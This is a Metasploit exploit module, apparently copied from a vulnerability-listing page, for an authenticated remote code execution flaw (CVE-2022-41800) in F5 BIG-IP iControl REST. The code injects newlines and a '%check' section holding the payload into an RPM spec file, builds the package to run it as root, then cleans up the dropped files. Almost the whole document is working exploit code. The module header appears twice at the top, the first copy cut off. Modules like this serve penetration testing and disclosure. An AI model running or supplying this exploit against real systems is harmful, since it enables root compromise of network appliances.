Vulnerabilities

F5 BIG-IP iControl Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 BIG-IP iControl Authenticated RCE via RPM Creator',
'Description' => %q{
This module exploits a newline injection into an RPM .rpmspec file
that permits authenticated users to remotely execute commands.

Successful exploitation results in remote code execution
as the root user.
},
'Author' => [
'Ron Bowes' # Discovery, PoC, and module
],
'References' => [
['CVE', '2022-41800'],
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
['URL', 'https://support.f5.com/csp/article/K97843387'],
['URL', 'https://support.f5.com/csp/article/K13325942'],
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2022-11-16', # Vendor advisory
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Privileged' => true,
'Targets' => [
[ 'Default', {} ]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts.
'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts.
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION], # One at a time
'SideEffects' => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK
]
}
)
)

register_options(
[
OptString.new('HttpUsername', [true, 'iControl username', 'admin']),
OptString.new('HttpPassword', [true, 'iControl password', ''])
]
)
end

def exploit
# The RPM name is based on these, so we need these to delete the RPM file after
name = rand_text_alphanumeric(5..10)
version = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"
release = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"

vprint_status('Creating an .rpmspec file on the target...')
result = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/rpm-spec-creator'),
'ctype' => 'application/json',
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
'data' => {
'specFileData' => {
'name' => name,
'srcBasePath' => '/tmp',
'version' => version,
'release' => release,
# This is the injection - add newlines then a '%check' section
'description' => " %check #{payload.encoded} ",
'summary' => rand_text_alphanumeric(5..10)
}
}.to_json
})

fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200

json = result&.get_json_document
fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json

file_path = json['specFilePath']
fail_with(Failure::UnexpectedReply, "Server didn't return a specFilePath") unless file_path
vprint_status("Created spec file: #{file_path}")
register_file_for_cleanup(file_path)

# We can also use `exit 1` in the %check function to prevent this file
# from being created, rather than cleaning it up.. but that seems noisier?
# Neither option gets logged so /shrug
register_file_for_cleanup("/var/config/rest/node/tmp/RPMS/noarch/#{name}-#{version}-#{release}.noarch.rpm")

vprint_status('Building the RPM to trigger the payload...')
result = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/build-package'),
'ctype' => 'application/json',
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
'data' => {
'state' => {},
'appName' => rand_text_alphanumeric(5..10),
'packageDirectory' => '/tmp',
'specFilePath' => file_path
}.to_json
})
fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299
end
end